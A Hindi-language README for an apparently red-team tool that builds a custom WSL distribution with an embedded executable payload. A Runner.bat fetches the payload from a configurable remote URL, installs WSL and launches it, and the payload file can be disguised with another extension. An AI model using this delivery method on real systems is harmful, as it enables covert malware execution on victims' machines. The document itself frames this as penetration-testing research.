
एम्बेडेड पेलोड के साथ कस्टम WSL (Windows Subsystem for Linux) वितरण बनाने के लिए एक शक्तिशाली शेल स्क्रिप्ट।
यह उपकरण वैध सुरक्षा अनुसंधान और पैठ परीक्षण के लिए है। उपयोगकर्ता यह सुनिश्चित करने के लिए ज़िम्मेदार हैं कि उनके पास उचित प्राधिकरण है, इससे पहले कि वे ऐसे सिस्टम का परीक्षण करें जिनके वे मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति उनके पास नहीं है।
एक शेल स्क्रिप्ट जो एम्बेडेड पेलोड के साथ न्यूनतम WSL (Windows Subsystem for Linux) वितरण बनाने के लिए है। यह उपकरण Alpine Linux-आधारित WSL वितरण बनाने की प्रक्रिया को स्वचालित करता है जो लॉन्च होने पर कस्टम पेलोड निष्पादित कर सकते हैं।
Build_WSL_Payload.sh स्क्रिप्ट नवीनतम Alpine Linux rootfs डाउनलोड करती है, इसे WSL उपयोग के लिए अनुकूलित करती है, उपयोगकर्ता-निर्दिष्ट निष्पादन योग्य को एम्बेड करती है, और सब कुछ एक वितरण योग्य .wsl फ़ाइल में पैकेज करती है।
Runner.bat प्रदान किए गए URL से WSL कॉन्फ़िगरेशन फ़ाइल डाउनलोड करेगा और इसे लॉन्च करेगा (यदि WSL मौजूद नहीं है और व्यवस्थापक अधिकार उपलब्ध हैं तो WSL इंस्टॉल करेगा)।
यह विशेष रूप से पैठ परीक्षण, सुरक्षा अनुसंधान और कस्टम WSL वातावरण निर्माण के लिए उपयोगी है।
-N, --name: WSL के लिए डिफ़ॉल्ट वितरण नाम निर्दिष्ट करें-P, --payload: पेलोड निष्पादन योग्य फ़ाइल का पथ निर्दिष्ट करें-H, --help: सहायता मेनू प्रदर्शित करें# Build a WSL distribution named "CalcWSL" with a custom payload
./Build_WSL_Payload.sh -N CalcWSL -P ./Calc.exe
विकल्प 1. डबल-क्लिक - WSL फ़ाइल पर डबल-क्लिक करने से पेलोड निष्पादित होगा, लेकिन यह एक cmd प्रॉम्प्ट भी खोलेगा जिसे मैन्युअल रूप से बंद किया जाना चाहिए। (अनुशंसित नहीं)
विकल्प 2. Runner.bat फ़ाइल का उपयोग करें
C:\Users\USER_NAME> .\Runner.bat
Runner.bat स्क्रिप्ट स्वचालित रूप से:
अनुकूलित करने के लिए Runner.bat के शीर्ष पर चर संपादित करें:
set "DOWNLOAD_URL=https://your-server.com/payload.wsl"
set "WSL_FILE=payload.log" # Still testing but can use most file extensions here.
यह परियोजना dmcxblue/WSL-Payloads रिपॉजिटरी में प्रलेखित अनुसंधान और तकनीकों से प्रेरित है और उन पर आधारित है, जो WSL फ़ाइल प्रारूप शस्त्रीकरण और सुरक्षा अनुसंधान में मूल्यवान अंतर्दृष्टि प्रदान करता है।
MIT लाइसेंस
इसके द्वारा, बिना किसी शुल्क के, किसी भी व्यक्ति को जो इस सॉफ़्टवेयर और संबंधित दस्तावेज़ फ़ाइलों ("सॉफ़्टवेयर") की एक प्रति प्राप्त करता है, सॉफ़्टवेयर में किसी भी प्रतिबंध के बिना व्यवहार करने की अनुमति दी जाती है, जिसमें बिना किसी प्रतिबंध के, सॉफ़्टवेयर की प्रतियों का उपयोग, प्रतिलिपि, संशोधन, विलय, प्रकाशन, वितरण, उपलाइसेंस और/या बेचने के अधिकार शामिल हैं, और उन व्यक्तियों को ऐसा करने की अनुमति दी जाती है जिन्हें सॉफ़्टवेयर प्रदान किया गया है, निम्नलिखित शर्तों के अधीन:
उपरोक्त कॉपीराइट नोटिस और यह अनुमति नोटिस सॉफ़्टवेयर की सभी प्रतियों या महत्वपूर्ण भागों में शामिल किए जाएंगे।
सॉफ़्टवेयर "जैसा है" प्रदान किया जाता है, बिना किसी प्रकार की वारंटी के, व्यक्त या निहित, जिसमें बिना सीमा के व्यापारिकता, किसी विशेष उद्देश्य के लिए उपयुक्तता और उल्लंघन की वारंटी शामिल हैं। किसी भी स्थिति में लेखक या कॉपीराइट धारक किसी भी दावे, क्षति या अन्य दायित्व के लिए उत्तरदायी नहीं होंगे, चाहे वह अनुबंध, टोर्ट या अन्यथा के कार्य में हो, सॉफ़्टवेयर से या उसके उपयोग या अन्य लेनदेन से उत्पन्न हो।